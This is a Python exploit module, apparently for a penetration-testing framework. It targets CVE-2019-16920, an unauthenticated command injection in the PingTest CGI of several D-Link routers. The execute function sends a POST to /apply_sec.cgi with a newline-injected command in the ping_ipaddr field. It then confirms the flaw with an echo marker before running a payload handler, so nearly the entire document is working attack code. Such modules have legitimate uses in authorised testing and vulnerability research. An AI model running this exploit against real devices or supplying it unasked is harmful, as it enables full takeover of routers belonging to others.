D-Link PingTest RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link PingTest RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link PingTest RCE',
        'description': 'Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.',
        'author': ['FortiGuard Labs', 'GH0st3rs'],
        'cve': ['CVE-2019-16920'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-16920', 'https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124', 'https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html', 'http://kb.cert.org/artifacts/cve-2019-16920.html'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2019-16920'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Cookie": "uid=1234123",
            "Referer": "http://{}:{}/login_pic.asp".format(self.target, self.port),
        }
        data = {
            "html_response_page": "login_pic.asp",
            "action": "ping_test",
            "ping_ipaddr": "127.0.0.1%0a{}".format(cmd)
        }

        response = self.http_request(
            method="POST",
            path="/apply_sec.cgi",
            headers=headers,
            data=data
        )
        if response is None:
            return ""

        return response.text.strip()
    def check(self):
        mark = self.random_text(32)
        cmd = "echo {}".format(mark)

        response = self.execute(cmd)

        if mark in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()